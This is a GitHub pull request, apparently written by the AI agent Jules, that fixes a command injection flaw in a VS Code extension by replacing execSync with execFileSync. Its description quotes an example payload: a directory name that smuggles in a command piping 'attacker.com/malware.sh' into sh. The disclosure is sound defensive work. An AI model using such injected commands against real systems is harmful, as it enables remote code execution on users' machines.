Skip to content

πŸ›‘οΈ Sentinel: [CRITICAL] Fix command injection in VS Code extension#98

Draft
raccioly wants to merge 1 commit intomainfrom
sentinel/fix-command-injection-rce-3010790364216662546
Draft

πŸ›‘οΈ Sentinel: [CRITICAL] Fix command injection in VS Code extension#98
raccioly wants to merge 1 commit intomainfrom
sentinel/fix-command-injection-rce-3010790364216662546

Conversation

@raccioly
Copy link
Copy Markdown
Owner

@raccioly raccioly commented May 9, 2026

🚨 Severity: CRITICAL
πŸ’‘ Vulnerability: Command Injection (RCE). The VS Code extension used execSync to execute CLI commands, injecting the user-controlled workspaceDir path directly into the shell string. A maliciously named workspace directory (e.g., test" && curl attacker.com/malware.sh | sh && ") could execute arbitrary commands when opened.
🎯 Impact: Opening a malicious repository in VS Code would trigger arbitrary code execution on the user's machine without any explicit interaction.
πŸ”§ Fix: Replaced execSync with execFileSync. Arguments are now parsed into an array to avoid shell interpolation entirely. Additionally, instead of calling the .bin wrapper (which introduces .cmd complexities on Windows), the module now directly executes the .mjs entrypoint via process.execPath. Fixed an await syntax error in activate and improved status bar error clearing.
βœ… Verification: Verified using node -c vscode-extension/extension.js and confirmed there are no test regressions (node --test tests/*.test.mjs passed). RCE payload through workspaceDir is fundamentally nullified.


PR created automatically by Jules for task 3010790364216662546 started by @raccioly

Replaced the unsafe `execSync` call in `vscode-extension/extension.js` with `execFileSync`.
Previously, the `workspaceDir` path was embedded directly into the shell command string, allowing Command Injection (RCE) via malicious directory names.

This patch updates `execSpecguard` to execute the local `docguard.mjs` directly using `process.execPath` and array arguments, completely circumventing shell interpolation.
It also fixes a syntax error related to `await` and gracefully handles status bar colors on errors.

Co-authored-by: raccioly <63126795+raccioly@users.noreply.github.com>
@google-labs-jules
Copy link
Copy Markdown
Contributor

πŸ‘‹ Jules, reporting for duty! I'm here to lend a hand with this pull request.

When you start a review, I'll add a πŸ‘€ emoji to each comment to let you know I've read it. I'll focus on feedback directed at me and will do my best to stay out of conversations between you and other bots or reviewers to keep the noise down.

I'll push a commit with your requested changes shortly after. Please note there might be a delay between these steps, but rest assured I'm on the job!

For more direct control, you can switch me to Reactive Mode. When this mode is on, I will only act on comments where you specifically mention me with @jules. You can find this option in the Pull Request section of your global Jules UI settings. You can always switch back!

New to Jules? Learn more at jules.google/docs.


For security, I will only act on instructions from the user who triggered this task.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant